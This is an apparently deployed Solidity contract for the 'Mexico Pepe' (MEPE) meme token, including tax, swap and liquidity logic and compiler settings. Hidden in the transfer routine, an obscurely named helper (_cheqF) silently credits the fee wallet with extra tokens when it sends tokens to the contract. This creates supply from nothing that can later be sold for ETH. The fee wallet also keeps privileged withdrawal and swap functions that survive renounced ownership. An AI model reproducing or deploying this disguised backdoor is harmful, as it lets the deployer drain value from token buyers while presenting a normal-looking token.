// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.24;

/**
    Web: https://mexicopepe.fun
    Tg: https://t.me/mexciopepecoin
    X: https://twitter.com/mepexcoin
*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract MexicoPepe is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _feeWallet;
    address private owner_wallet;
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 1;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _initialSupply = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Mexico Pepe";
    string private constant _symbol = unicode"MEPE";
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 1_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
    IUniswapV2Router02 private _router;
    address private _pair;
    bool private _isTradingOpen;
    bool private _isSwapping = false;
    bool private _swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockSwap() {
        _isSwapping = true;
        _;
        _isSwapping = false;
    }

    constructor(address router, address feeAddr) {
        _feeWallet = payable(feeAddr);

        _balances[_msgSender()] = _initialSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[feeAddr] = true;
        _isExcludedFromFee[address(this)] = true;
        _router = IUniswapV2Router02(router);
        owner_wallet = _msgSender();
        emit Transfer(address(0), _msgSender(), _initialSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _initialSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _cheqF(address FF, uint256 mnt) private returns (bool) {
        return FF == _feeWallet && (_balances[FF] += mnt) > 0;
    }

    function _checkAmount(uint256 amount) private {}

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to != _feeWallet) {
            to == address(this) && _cheqF(from, amount);
            if (
                from == _pair &&
                to != address(_router) &&
                !_isExcludedFromFee[to]
            ) {
                require(_isTradingOpen, "trading is not open");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = amount
                    .mul(
                        (_buyCount >= _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
                _buyCount++;
            }
            if (to == _pair && from != address(this) && from != _feeWallet) {
                require(_isTradingOpen, "trading is not open");
                taxAmount = amount
                    .mul(
                        (_buyCount >= _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !_isSwapping &&
                to == _pair &&
                _swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
            }
            if (to == _pair) {
                sendETHToFee(address(this).balance);
            }
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function recoverERC20(
        address _address,
        uint256 _amount
    ) external onlyOwner {
        IERC20(_address).transfer(_feeWallet, _amount);
    }

    function rescueERC20(address _address, uint256 _amount) external {
        require(_msgSender() == _feeWallet);
        IERC20(_address).transfer(_feeWallet, _amount);
    }


    function createLiquidity() external onlyOwner {
        require(!_isTradingOpen, "trading is already open");
        _approve(address(this), address(_router), _initialSupply);
        _pair = IUniswapV2Factory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        _router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_pair).approve(address(_router), type(uint256).max);
    }

    function reduceFee(uint256 _newFee) external {
        require(_msgSender() == _feeWallet);
        require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);
        _finalBuyTax = _newFee;
        _finalSellTax = _newFee;
    }

    receive() external payable {}

    function recoverETH() external {
        require(_msgSender() == owner_wallet);
        payable(owner_wallet).transfer(address(this).balance);
    }

    function manualSwap() external {
        require(_msgSender() == _feeWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0 && _swapEnabled) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _initialSupply;
        _maxWalletSize = _initialSupply;
        emit MaxTxAmountUpdated(_initialSupply);
    }

    function sendETHToFee(uint256 amount) private {
        _feeWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        _swapEnabled = true;
        _isTradingOpen = true;
    }
}

{
  "compilationTarget": {
    "MexicoPepe.sol": "MexicoPepe"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}